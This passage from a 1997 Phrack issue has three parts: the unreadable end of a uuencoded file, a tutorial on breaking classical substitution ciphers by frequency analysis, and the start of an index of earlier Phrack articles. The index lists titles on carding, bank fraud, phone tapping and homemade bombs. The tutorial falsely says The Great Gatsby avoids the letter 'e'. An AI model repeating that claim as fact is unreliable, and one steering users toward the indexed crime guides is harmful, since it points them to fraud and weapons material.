MBI;T5`0Z,POK$?BHX\\).LD;'<RMR<E%Q4WRI@JL%/J6G]A&J>19.AQ]6(RC
MC<VM:+%U;3^906&KP$U:J?C^3;06O34?B1G8!(E(-T%ZHSH>S"79MXI+.?^#
M%H%<TPJ5*7QEQ5NGA=:W`AIA3]Z0!E`+;5"28%7E&[+I;PVM4M?O53P@[_76
MIADP<@2/PC'T$M_#NQNEC>)4&Y),K7&B%8A0W1UTCJT/M[&NKSC2H9>FT9L:
M$`$N9`K/;0J1S)&S"Q(%+(T6[5\SBEVYXS&(%'9_$]VJY.JL!%XVN>UCZ)W%
M%E'*V%)N/WTT.H]Y?`_R6Z'T"(9]T9:>AM1#]01(/8'O;Q%4#]N4NTM;F04F
MI6$;Q-'IQH'0M#!$V='C4>P1]9GT-1S0AG0O$MWE76_<.4,/2.`&T:T#+Y#0
MI`0:?39$;TC2UK21]74>K+UN^UV&=R`7^+&%IL5IORI&]'P314[Z6=I/V$'%
M*U);1F&$'#?R$[>)0F^2>9G=Z"C7/`R1B/&`Q:TV%B@N"O/GX0VD(U0K@*A@
MSL]V>]RG*[9.R1F.'<-$4TD50QYNI`-6'T@OU-;G7:^.]^YICBV8CEJ@.+BP
M&2PN5EG2=,Q5,0DL0A;R:6'HOM=U')CP/G+"%\`$,5UVVY1*#&XD'=**/R!Y
M1JF`8?GE^9.#2$`Z\L>@!YHS,>F?0L^9R)X8")T%1;.HL+N;$8@D78:F\,15
M]*D@(P;&#K%V*-2B/#;)KZML6T/(*L#6%T"RD%-9V%@ZTL_A?\FPP'17.CH5
M\"2/N9(,C)6\,6A9K$>_OEQ<%Y.6"XK#*.NF['T3RNRS/0QH`AN8YHZFCEN<
MYX"F!#=2!2);0\$->`%D!8OE-FPC5HY[(#+<RF/\81@/_''OGKX]DPL(,JR"
MC6RV*KZN%$(8=<-S3GL?*5,D?SR[.)[^075=J/.C')8D%#4KC/:0)P`>_@(V
M4FP,F[\<'>Q0=`'.9_<M'\&N+79A2XZ\/\=4V)U@;#W4'489*H)7E;H"$90*
L>-1+(GI$:$=[-&XNQR%L4(KM1K]]/3XQ5X3!N%P?_?'X\.C@^;.JZH7[S"G
S.2H\J<Q#`JYNJ6M$7K;<;D%6BU(3W8,`MS:B*9E5205&Y@+BXH^^,,N3'_<
NTNIE%*`-HX![.%K'"70-OR8D"[D8Z#FE0+,`*F@D3>.1+$D[5?\<0-TZQ+=
^F'%7'`Z!#3=/R#RU*?H?!`#:7X^]GQPS<M'$:_;]3R%A?!B1?,!^3_C[L@B
Z!KP(_QBE),%\<H_0Y"XW6<OR)42K:%'%V,!*;*AXO1N[`[@.RPI&"_Z_Q"O
2N,N_,,1YGQFA.S)#YI_>]T\/#I^U3QZOO]DZ9JXD6?-(PUS3\5:"W1(?_`/
W,DO]IXM70='S4TE_[1_>.3Q.G&G<GCTY,5>U;6><N_N[QTU]XZ.7S;WGJ&Y
^\0SS5L1RICRK$M@'PD>"*CQACZA"8XTH%B7A&,%[3?1%KZNF5;IK<FI8(6/
AK5[M:CV6+W*:G^IO(E73G=6GJZM?/=6_;E<$^@RA(1.WE<6Z\O+M02/T(I,
%$R:#O6P69/)LWH#H_7D4$F8ZWI9D7_W-EJ%4^!?6&"Y2!ND$FY2M<$!88<#
DD05CCJ">0IO_W"<<<@;G'R3=*Q4`[^X1J#K04!"Y+"A4F<<9(QP4W3$IO.X
KK=(-AH6(G#8O:$[U_QYYR6L\BAIGZ?1R@!#ID'^7X%WAX+0U"UYGT,P/%G$
U*0U@QR4P4M_(O2$=&VF9I=?HC6BCY5W+I.#_+7K$^F/;^9-=,]L`TU3T$J$
+$3^7)-F-GGB)J[,$WV8C:I%+;/^Y-C\`0-P#H$E%#*?AVXS^"0*^#H<*@=&
,AZY,4N)\OFPE$7V/8UB`Y\_8,FX2F'E\#RAL0Z4[-:.-7,K-N_Y0Y<2%'*2
:Y0I30I?(#_P%ED-]P6TM#4^.T-U?7>$6@]4=U"..H%()?$@`HZ!<3JRAA02
]T;'QJJN,DC13FJ9C!JA+4R`H[MW44W"NB>@6-3*Y#UPV)DM(TO="501F[YE
M,.KB]$+#W\@#./+20=`SE?[<R!(W;@DK6-J\9(T8%+_!Y9D.Y[9LJ2B_LS2
=!78M>#?B&E#S>7H>^Y\@R9[]IR617BPL\VNYXP!Y=S6O5GT_=?#&<37HH5&
Z=WA<K1`QL5])@`>_92]/=`P,25;GC)&/=Y$#(ERR0!Z,#Q$5A4$#]+?R:(0
[WJFU994VZ.<VN$XFVK-`4$%PJ:[6Z7OQW"(?Y#\UUX0)C$1LM\,\G3^F&?P
DL\P86*@PH'AW23AZ\+ST>RD<)8L`Q:(LN(MM?OTF17BP\`CP+PV#PZ<[0TI
:E2[.!^KU(R?A&(]_7IV=I\WR2^+-Z&Z$A6\UZ?/E!HOK%H,<Z1R-B3$DB96
+F"\6.O&1G/_%8I?%.>7$30S1"%)^S$)P[TK*;]#4$CG:K>0ZCONKT+N5X@_
R(N3XJ=0YTM0=,E7=$!'E)*#_+A@)`BW8@$9:A,*#1?S-PNKWV#P:I=N\9AU
II9Y-KPS%4`!F"6X3655<!:021?^]->7^)?%Q';KG0=.%CSQKH1]O>#[)<&'
+N)B96XCT$ZE>-SIZ>EB;:WV.'P_2.EU/OU@L5:O/8["]U=)1A]R&>0<6:RM
0Z[\^Z1#7_0=1%2QZ1"PND.X(!H;P!:2)>V,!UJ]['<'^!(/YPJ]_68S>KBV
["<Z3\?#7*K[#]?"=#^V<N6_R[]ZU0J+JJ^M/PB*ZM\FT7;MUU^W*<BC>GF"
U)&Z+P]!&63G"=#G)&O'%PADH#[[#N>T6Z*EQ:55X.UY19$(Y84Z+%"W<;YE
3YD@VWFF_`KQ8<,$]4YTBS?H1+WT[(R\RY%".G%9VY+`SL[205'`!'[O446\
U2*4*;X,@S-E/(3#B,`@[&5<#.0"<OZ6MGQZ>5-<5AL<%>,7;3QO[CS9VCAZ
<?2RN65Q9P[%?+6)O=BH\=>-&J>E\$=!4?6)>4V\U3NFIYN!>8_IODK@PC.I
SU*7O-KX28IE=<CWI+J2)%0SADX&+J;JRKJ+\9TDGXJ3^(*CI+.-K7/BND`+
=&"-,$PQE=<9$U!?GQ1<+I@51H@R15%!?0;@&UZ1MVG<YNBS&*L30UU%$V-=
5<7Q]!-#7%6=L^VM(UO=\4-:1;>,:646.=2CC_\11<;4QGC\BDC"U[6O=U[]
]-AP3>K+1@W;7_!AJX9-+OA0KGW]M]?[[I.5EDGI+PT$CE@WCN;PF`-(;_>S
,V\CBLD(;^+H:YTZ9$:@6%B#D)1F[8.7]+I!1:OAFVD`)#S8T<)-!<S&>.@O
2>O_G)E#^Z+Y"R'VN!>O]^#%7]E:C+D8!L9@I@W6M]P;\\TUQ20>Q?T+&LM1
.F[?XI8&T>\"[LX%PS##R'S8T?[KW>?$ASD[6B'9],E79E')F]0H,?7#/[G&
```

```
MJOE_8#>)(U7`G/*<ABW'Q`&\J7NU21,.O^BV[`.^NUXEW_G'85=5.::_-'9A
M%:YK++CUT$"P[-`O,3'=.L+6KW";$7Y"IGKY^S*9N98;=&E)L<C**L8JM?_E
M[H\?Z-4U=0!^'C]]3HN6$W(RG@V5F.;$MM46=RJFE3KAH@D2S_5!VPY=C?7'
MN>[Q35'2X=ZA@YZM0N;,&JQ.7&OT6MHB,VK6ORO&V0!_=#FP;91MZ&!J&;-9
M/7J$N$(R*_9&G^F3-\*BR2E8<(5394C`\N,[=J/I)>*\;_QZ`L-T;N`Q,.IZ
M5&@^?>5NV!_(X=:2D9@IGPFZ3;46V.R;PKUVH'&,9JZ8:.55`SRSVB;:B>LL
M)YFL]NIAF@O@I57F8ON`7[!+@GS]R(U1K)WN^@V6,U2/&MW)%6F388_:YH96
M0%A-"P\[A@FG"?.-CI@^VGF2//Q"H'T1XW*$.+?XS@,I-4=@*!7CJ>=?#Q%#
M('VP&X8;[_$$?G<6!_#BWCVG^L:/N$/@3]D@^!<M/4J[NKCH[1/XHMU]L-OI
M,`9>2PJSBTQIT.'U8[UP['AZ]WK57&.5X47=VEP,*-2'V%R8-7-#1[K<BSNZ
M"]"0R1VXPZAAJD'>8NJGG6,\`$N(1$T15J[8\@HF=B'ZSM/NH7*OLGC\9NWM
M\O*;[][B0'P5/$;+L+*V6E^K66>T563Q5CO``X<9/N&IKZV!K!I]!2U[N/Z0
M_JT_>$#_TO/P81W^=__1_;5OOWWPZ#Y\_?;^@V^_BM9F4/>-#VQ;D#*CKRXO
M+V](!S+!EVC0EWU8$"RQ)%B:)`H^,>O"B(,ED0=+)9((HQ^>[>Z_W#_8+"^L
MT5..CIJ_','/I_24HY<O]GZDK_SS9_F-OS#UCOV-*<H1%KS;W#MJ'D!5&'?X
MA_V#)\V#S34*0%S>'@][V^VKB_-D>#$>O,LP^C`6`C7NNK?E+11Y2A,+,&M?
MY0Y[?E,1Z-I%D?]4&4_@W0J]E-P;-=.5DHVAS-DE<'(9OFRC\40OAIT\W)Z6
M;L;S[^__\S0;T=:?:1VX_V6_%^[_^P\?!/O_/KR:[_\O\13N_]<L#;+Y<GR6
M3-CU^._S^A:IM+V-DPPC7$FDRUY=785<=4J[OG68]A-$G;X\1PRNA`(7D$I?
M'/VSJ+&R3'JC4NFG\8B,P!D.C!V@KU`3FO1.26C%'U01_4J'9_&@FW&0<8F'
MLO&<-AUK.$JBX9CU%OJO?H+SO]5OQZ-9G?OF@?W_:-KY_^#^6KC_'Z[?G^__
M+_$LW-V^2(:];^',L<:OR,O"<33<!KZU?0Y_H`K-?`-^E,2%[9V#9S]+@`+G
MC8D05=U3,@\W.-'>5^-?1DK8&_RY\0=[<S\N6<G-.#48R5%[@GHVAF7G4:.=
MG.7O:]+341.*?4K_T_/RI1Y__[-ASQ?>__7U!]^&^__1^OS\_R+/PMU:JSNH
MM;-SN\=(&?"-2+B((R%>[HNGJP@7:U^370*_)Q6)^W*1DA,D?L$_W0>ZP^(/
M^*?[P#8W^!ZOYNUKMJC#UQB56+]>=^_7^<.PCS!-9("PB+7:U!P\X.1LF%P0
MM"$;5/PK0M3-I8SC&T2UVM*):R9;^I\8NT1$^<$,YW&=$]&'LO$:,#Y[6UNJ
M9DZR9YVF&VC@M6HC3*^:"-.%V2PH::<1;6`ODVRT59CRZ3#M(Z(IQO;=QF2K
M`[3$+TB)4&;(2-$<H&X".#,>.0ECP@`MQK:(+U+CD0P7.>C3X&Z1:L)E;).1
MDJ$C939JQ$)P:EC'\CL4`O_]VY5)*X128'FGN0G$,KB`9-#Y?T.,_P./3_]?
MOC@\FGT=-\A_]4=KK/]Y`%+?^H-U/!'6[]?G]/]+/,]!4)*0:/%@D(X'[<3@
MKEF6#V^1D7*P]Q>BP`[:O7&'`D-GH^&8PFMG)12[TDN\P<(8&!B2"46PTN9,
MGM(3D$@;T=_1J+9^/]H9GT7U[[Y[%-4?-NX_;-0?1??68)F5F!SN=.)^]`.&
MVMR(6_%VIYVM)N]7X_;J^-U6Z2AM1$IUM-V^:L&?<98AY2Q9FKZSM[?_>F^W
MV?"Z3WKAG'JLD_R>]%(T&JC1,H%>OXRS/WII]'/2SA`AIQ^#.#S<[I+;8O)^
M3)5MX4&#!P["*N2J*5%1HNLWY>?F1K#&5J.H5-H?P.!?=-LVYI[D8]-'F"\X
M`;"`;O]BF"(L*CF(M=,>1AY%RV&7)([.DD$RC'OHTS."J1P;T]LHN\H(,N#)
MTT,4NR_38:_S]'"9KQ=**+!SU"CL:D)*`%@14&6/@Y%R2$-8*P=IED4[`_2Q
M3`=+J&B`#D9'YTDI'-^E:G31&Z-I1L;&U.,A12K&T6HE;(9C1Z2$XQ2/TB&L
MO2.T_-3#BFY@%$HWB^R)%4P*.C*K%5Q"SU^9'?Q0[L>_I<-.VD_#?&RZC.=P
MHU2Z8PMP#8.5A^7VN]8U.S-1!KU&4HT48'&4EB8V$[J'RWQ^-LZ?^3-_YL_\
MF3_S9_[,G_DS?^;/_)D_\V?^S)_Y,W_FS_R9/_-G_LR?^3-_S/._#<NT@@#X
"`@#S
`
end
<-->
```

----[EOF

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 13 of 17

------------------------[Monoalphabetic Cryptanalysis (Cyphers, Part One)

--------[Jeff Thompson aka 'Mythrandir' <jwthomp@cu-online.com>

Written for Phrack and completed on Sunday, August 31st, 1997.

---------

First a quick hello to all of those I met at DefCon this year. It was incredible fun to finally put faces to many of the people I have been talking with for some time. It was truly was a treat to meet so many others who are alive with the spirit of discovery.

----------

This is the first in a series of articles on Cryptology that I am writing. The goals of these articles will be to attempt to convey some of the excitement and fun of cyphers. A topic of much discussion in regards to cryptography currently, is about computer based cyphers such as DES, RSA, and the PGP implementation. I will not be discussing these. Rather, these articles will cover what I will term classical cryptology. Or cryptology as it existed before fast number crunching machines came into existance. These are the sorts of cyphers which interested cryptographers throughout time and continue to be found even to this very day. Even today, companies are producing software whose encryption methods are attackable. You will find these commonly among password protection schemes for software programs. Through the course of these articles I will explain in practical terms several common cypher types and various implementations of them as well as cryptanalytic techniques for breaking these cyphers.

Creating cyphers is fun and all, but the real excitement and often times tedium is found in Cryptanalysis. Many of the ideas presented in these articles will based on three sources. The following two books: The Codebreakers by David Kahn (ISBN: 0-684-83130-9) and Decrypted Secrets by F.L. Bauer (ISBN: 3-540-60418-9). Both authors have put together wonderful books which both cover the history and methods of Cryptology. Do yourself and the authors a favor and purchase these books. You will be very pleased with the lot. Finally, a miniscule amount of these articles will be written based on my own personal experience.

The fun is in the journey and I welcome you on what is certain to be an interesting trip. Please feel free to raise questions, engage me in discussions, correct me, or simply offer suggestions at jwthomp@cu-online.com. Please be patient with me as I am traveling extensively currently, and may be away from the computer at length occasionally.

Out the door and into the wild...

--Monoalphabetic Cyphers

Monoalphabetic cyphers are often currently found in simple cryptograms in books and magazines. These are just simple substitution cyphers. This does not mean that they are always simple for the beginning amateur to solve.

Three common monoalphabetic cyphers which are used are substitution, cyclical, and keyed cyphers.

-Substitution Cyphers

By taking an alphabet and replacing each letter with another letter in a unique fashion you create a simple monoalphabetic cypher.

Plaintext Alphabet	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
Cypher Alphabet	Z	I	K	M	O	Q	S	U	W	Y	A	C	E	B	D	F	H	J	L	N	P	R	T	V	X	G

Plaintext Message

The blue cow will rise during the second moon from the west field.

Cyphertext Message

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.

-Cyclical Cyphers

By taking an alphabet and aligning it with a rotated alphabet you get a cyclical cypher. For example:

Plaintext Alphabet	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
Cypher Alphabet	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M

Indeed, you may recognize this cypher as a ROT13 which is commonly used on news groups to obscure messages.

-Keyed Cypher

Another way to create a monoalphabetic cypher is to choose a keyword or phrase as the beginning of the cypher alphabet. Usually, only the unique letters from the phrase are used in order to make sure the plaintext to cyphertext behaves in a one to one fashion.

For example:

Plaintext Alphabet:	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
Cypher Alphabet	L	E	T	O	S	H	D	G	F	W	A	R	B	C	I	J	K	M	N	P	Q	U	V	X	Y	Z

The passphrase in this cypher is "Let loose the dogs of war" The advantage of such a system is that the encryption method is easy to remember. Also, a method of key change can be created without ever having to distribute the keys. For example, one could use the 4 words at a time of some piece of literature. Every message could use the next four words. Indeed, this change could occur more frequently, but that is a subject for another article.

-Bipartite Substitution

Bipartite substition is the use of symbol pairs to represent plaintext. Later we will see that this sort of substitution lends itself to be easily made more difficult to analyze. Two examples of this are:

	1	2	3	4	5
1	A	B	C	D	E
2	F	G	H	I	J
3	K	L	M	N	O
4	P	Q	R	S	T
5	U	V	W	X	Y
6	Z	0	1	2	3
7	4	5	6	7	8
9	9	.	-	?	,

or

	A	B	C	D	E
A	A	B	C	D	E
B	F	G	H	I	J
C	K	L	M	N	O
D	P	Q	R	S	T
E	U	V	W	X	Y
F	Z	0	1	2	3
G	4	5	6	7	8
H	9	.	-	?	,

Obviously, the letters do not need to be placed in this order as their solutions would not be that difficult to guess.

--Cryptanalysis

Previously we created a cyphered message:

nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.

If one were to receive this message, figuring out its contents might seem fairly daunting. However, there are some very good methods for recovering the plaintext from the cyphertext. The following discussion will work under the assumption that we know the cyphers with which we are dealing are monoalphabetics.

-Frequency Analysis

The first method we will use is frequency analysis. Natural languages have many qualities which are very useful for the analysis of cyphertext. Languages have letters which occur more commonly in text, collections of letters which are more frequent, patterns in words, and other related letter occurances.

Counting up the occurances of letters we find that there are...

letter	occurances
b	3
c	4
d	5
e	2
i	1
j	3
k	2
l	3
m	3
n	4
o	8
p	2
q	2
s	1
t	3
u	3
w	4

The order of greatest frequency to least is:

```
 8   5     4          3           2       1
{o} {d} {c n w} {b j l m t u} {e k p q} {i s}
```

If this sort of analysis were run on many volumes of english you would find that a pattern would emerge. It would look like this:

{e} {t} {a o i n} {s r h} {l d} {c u m f} {p g w y b} {v k} {x j q z}

You will notice an immediate correlation between e and o. However, for the rest of the letters we can not be very certain. In fact, we can not be very certain about e either.

Since this text is short it is helpful to take a look at some of the other behaviors of this text.

Counting up the first, second, third, and last letters of the words in this text we find the following frequencies:

First Letter in word	Occurances
e	1
i	1
j	1

k	1
l	1
m	1
n	3
q	2
t	2

Order:

n q t e i j k l m

Second letter in word	Occurances
c	1
d	2
i	1
n	1
o	2
p	1
u	3
w	3

Order:

u w d o c i n p

Third letter in word	Occurances
c	1
d	2
i	1
k	1
l	2
o	4
p	1
t	1
u	1

Order:

o d l c i k p t u

Last letter in word	Occurances
b	1
c	1
e	1
m	1
n	1
o	5
s	1
t	1

English frequency for first letter:

t a o m h w

Second letter:

h o e i a u

Third letter:

e s a r n i

Last letter:

e t s d n r

Noticing the higher frequency count for 'o' in the third and last letters of words in addition to its absence as a first letter in any words gives us strong reason to believe that 'o' substitutes for 'e'. This is the first wedge into solving this cypher.

However, do not be fooled by the apparent strengths of frequency analysis. Entire books have been written without the use of some letters in the English alphabet. For instance The Great Gatsby was written without using the letter 'e' in one word of the book.

Other items to analyze in cyphertext documents is the appearance of letters in groups. These are called bigrams and trigrams. For example, 'th' is a very common letter pairing in the english language. Also, as no surprise 'the' is a very common trigram. Analysis of english documents will find these results for you.

So now that that we have developed a simple way of starting to attack cyphers lets examine a few ways to make them more difficult to break.

--Strengthening Cyphers

-Removing word and sentence boundaries

A simple way to complicate decypherment of a cyphertext is to remove all spacing and punctuation. This makes it more difficult to perform a frequency analysis on letter positions. However, it is possible to make reasonable guesses as to word positions once yoy begin to study the document. Another method is to break the cyphertext into fixed blocks. For example after every four letters a space is placed.

The previous cypher text would appear as this:

nuoicpokdttwccjwlompjwbsnuolokdbmeddbqjdenuotolnqwocm.

or this:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc m

You will notice that the above line ends with a single character. This gives away the end of the text and would be better served by the placement of nulls, or garbage characters. The above line becomes:

nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc mhew

'hew' will decypher to 'qmi' which will clearly appear to be nulls to the intended recipient.

-Nulls

Nulls are characters used in messages which have no meanings. A message could be sent which uses numbers as nulls. This makes decypherment more difficult as part of the message has no meaning. Until the decypherer realizes this, he may have a hard time of solving the message.

-Polyphony

Another method that can be applied is the use of polyphones. Polyphones are simply using a piece of cyphertext to represent more than one piece of plaintext. For example a cyphertext 'e' may represent an 'a' and a 'r'. This does complicate decypherment and may result in multiple messages. This is dangerous as these messages are prone to errors and may even decypher into multiple texts.

A new cyphertext alphabet would be

```
Cyphertext alphabet     A B C D E F G H I J L N P
Plaintext alphabet      Z X U S Q O M K H N R V W
                        B D F G I A C E L P J T Y
```

Our old plaintext message becomes

nih aich gfp peii ledh bclejd nih dhgfjb gffj clfg nih phdn cehib

This decypherment becomes very tricky for someone to accomplish. Having some knowledge of the text would be a great help.

If it appears that very few letters are being used in a document then you may wish to suspect the use of polyphones within a document.

-Homophones

Homophones are similar to polyphones except that there is more than one cyphertext letter for every plaintext letter. They are useful to use in that they can reduce the frequencies of letters in a message so that an analysis yields little information. This is very easy to do with bipartite substitution cyphers. For example:

```
         a b c d e
       a a b c d e
       b f g h i j
       c k l m n o
       d p q r s t
       e u v w x y
       f z * * * *
```

*(fb, fc, fd, fe are NULLS)

We can add homophones to the message like this:

```
          a b c d e

 i h g a  a b c d e
   k j b  f g h i j
   n l c  k l m n o
   o m d  p q r s t
     p e  u v w x y
       f  z * * * *
```

The optimal way to set up these homophones is to calculate the frequency of appearance in the natural language you are using of each row of letters. Homophones should be added so that the cyphertext appearance of each homophone is reduced to a level where frequency analysis would yield little information.

-Code Words

One final method which can be used is that of code words. Simply replace important words in the plaintext with code words which represent another word. For example the nonsense plaintext that has been chosen for this document could actually mean:

The blue cow will rise during the second moon from the west field.

The king is angry and will attack in two weeks with the 1st calvary by way of the foothills.

blue is angry
cow is king

rise is attack
second is two weeks
moon is 1st calvary
west field stands for some foothills on the west side of the kingdom.

Throughout this document I have mentioned frequency analysis of english documents. This is a fairly tedious task to do by hand, and so I am developing software to aid in frequency analysis of documents. I will be making it available via my website at http://www.cu-online.com/~jwthomp/ on Monday, September 8th. Please watch for it in the Cryptography section.

Ok, now to try your hand at a few cyphertexts..

This one has to do with war.
1)
kau noelb'd oerf xmtt okkopw ok qoxb euoqf kau kurhtoe wbmcakds, obq dkemwu amd podktu xamtu xu altq amr

This one is an excerpt from a technical document.
2)
etdsalwqs kpjsjljdq gwur orrh frurdjkrf sj qtkkjps npjtk ljeethalwsajhq sgrqr kpjsjljdq tqr w jhr sj ewhy kwpwfane ijp spwhqeaqqajh sykalwddy tqahn ldwqq f ahsrphrs kpjsjljd wffprqqrq sj qkrlaiy qkrlaial etdsalwqs npjtkq

Mail me your answers and I'll put the first person who solves each cypher in the next Phrack.

In fact, I would enjoy seeing some participation in this for the next Phrack. After reading this, I welcome the submission of any "Monoalphabetic" cypher based on the discussions of this article. Please do not yet submit any polyalphabetic cyphers (Next article). When submitting to me, please send me two letters. The first mail should include only the encyphered text. Make sure it is enough so that a reasonable examination can be made of the cypher. This first mail should have a subject "Cyphertext submission". If you are using a method of encypherment not found in this article, please enclose a brief description of the type of method you used. Follow this mail up with another entitled "Cyphertext Solution" along with a description of the encyphering method as well as the key or table used.

I will select a number of these texts to be printed in the next Phrack, where readers may have a chance at solving the cyphers. The reason I ask for two seperate mailing is that I will want to take a crack at these myself. Finally, the names of individuals will be placed in the following phrack of the first to solve each cypher, and whomever solves the most cyphers prior to the next Phrack release (real name or pseudonym is fine).

Please mail all submissions to jwthomp@cu-online.com

I welcome any comments, suggestions, questions, or whatever at jwthomp@cu-online.com

----[EOF

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 14 of 17

------------------------[PHRACK INDEX GUIDE

--------[Guyver

-=Guyver=-
Presents

```
#####    ##  ##   #####    ###       ####    ##  ##
##  ##   ##  ##   ##  ##   ####     ##  ##   ## ##
##  ##   ##  ##   ##  ##   ##  ##   ##       ####
#####    ######   #####    ######   ##       ###
##       ##  ##   ## ##    ##  ##   ##  ##   ####
##       ##  ##   ##  ##   ##  ##    ####    ## ##
```

MAGAZINE INDEX GUIDE

2nd edition 1997

Phrack 1-50, Articles indexed according to author, subject, and title.

KEY: I1 F1 2k = Issue 1 File 1 of Phrack k=kilobytes long

** A **

"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
"Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
"Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
"Acronyms Part I" by Firm G.R.A.S.P.. 1993. I43 F21 50k
"Acronyms Part II" by Firm G.R.A.S.P.. 1993. I43 F22 51k
"Acronyms Part III" by Firm G.R.A.S.P.. 1993. I43 F23 45k
"Acronyms Part IV" by Firm G.R.A.S.P.. 1993. I43 F24 52k
"Acronyms Part V" by Firm G.R.A.S.P.. 1993. I43 F25 46k
"Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 9k
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
"Advanced Modem-Oriented BBS Security" by Laughing Gas & Dead Cow. 1991
I34 F9 11k
Agent 005 authored
"Interview With Agent Steal" 1993. I44 F16 14k
Agent Steal authored
"Tapping Telephone Lines" 1987. I16 F6 9k
"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
"AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
Al Capone authored
"Searching The Dialog Information Service" 1993. I44 F18 48k
Aleph1 authored
"Smashing The Stack For Fun And Profit" 1996. I49 F14 66k
Aleph1 was Pro-Philed in 1997. I50 F4 7k
alhambra authored
"SNMP insecurities" 1997. I50 F7 20k
"Phrack World News" 1997. I50 F15 110k
co-authored
"Project Loki: ICMP Tunneling" 1996. I49 F7 38k
Alpine Kracker authored
"Smoke Bombs" 1986. I6 F6 2k
Amadeus submitted
"Cellular Spoofing by Electronic Serial Numbers" 1987. I11 F9
"Telenet/Sprintnet's PC Pursuit Outdial Directory" 1991. I35 F4 90k

ANARCHY
(See also CREDIT CARDING, DRUGS, EXPLOSIVES, HACKING, LOCK PICKING, PHREAKING,
WEAPONS)
"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k

"Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
"Eavesdropping" by Circle Lord. 1986. I3 F7 3k
"False Identification" by Forest Ranger. 1986. I4 F3 3k
"Fun With Lighters" by The Leftist. 1986. I6 F4 2k
"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
"Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
I26 F7
"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
"Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991.
I35 F6 13k
"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
"The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k

"Are You a Phone Geek?" by Doom Prophet. 1987. I13 F7 9k
Aristotle was Pro-Philed in 1992 I38 F3 6k
Armitage authored
"The Glenayre GL3000 Paging and Voice retrieval System" 1995.
I47 F14 25k
"The Art of Investigation" by Butler. 1990. I32 F4 18k
"The Art of Junction Box Modeming" by Mad Hacker 616. 1986. I8 F5 6k
"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
"The AT&T Mail Gateway" by Robert Alien. 1991 I34 F4 5k
"Auto-Answer It" by Twisted Pair. 1991. I35 F9 10k
"Automatic Number Identification" by Phantom Phreaker and Doom Prophet. 1987.
I10 F7 9k
"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k

** B **

Bad Boy in Black authored
"Hand to Hand Combat" 1986. I5 F4 13k

BANK FRAUD
"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k
"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
"How We Got Rich Through Electronic Fund Transfer" by Legion of Doom!.
1990. I29 F7 11k
"Introduction to the FedLine software system" by Parmaster. 1996.
I49 F12 19k

"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
"Basic Commands for The VOS System" by Dr. No-Good. 1992. I37 F8 10k
"Basic Concepts of Translation" by The Dead Lord and Chief Executive Officers.
1989. I26 F6 20k
"Beating The Radar Rap Part 1/2" by Dispater. 1992. I27 F5 12k 44k
"Beating The Radar Rap Part 2/2" by Dispater. 1992. I28 F6 5k 15k
"A Beginner's Guide to The IBM VM/370" by Elric of Imrryr. 1987. I10 F4 4k
"A Beginner's Guide to Novell Netware 386" by The Butler. 1991. I35 F8 84k
"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
"BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989.
I23 F10
Bill Huttig authored
"Special Area Codes II" 1992. I39 F7 17k

BITNET see WIDE AREA NETWORKS

Black Kat authored
"Users Guide to VAX/VMS Part 1/3" 1991 I35 F7 62k
"Users Guide to VAX/VMS Part 2/3" 1992 I37 F7 25k
"Users Guide to VAX/VMS Part 3/3" 1992 I38 F7 46k
Black Knight from 713 authored
"Hacking Voice Mail Systems" 1987. I11 F4 6k
Black Tie Affair authored
"Hiding Out Under Unix" 1989. I25 F6 9k
"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k

"Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
I29 F9 22k
"Blowguns" by The Pyro. 1985. I2 F4 3K 3K
"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
Bob Page authored
"A Report on The Internet Worm" 1988. I22 F8 16k
Bobby Zero authored
"Security Shortcomings of AppleShare Networks" 1992. I41 F9 16k
"Bolt Bombs" by The Leftist. 1986. I5 F6 3k
Boss Hogg authored
"The Craft Acces Terminal" 1996. I48 F8 36k
"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k
"Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k
Broadway Hacker Pro-Philed in 1986. I5 F2 5k
Brian Oblivion authored
"Cellular Telephony" 1992. I38 F9 28k
"Cellular Telephony Part II" 1992. I40 F6 72k
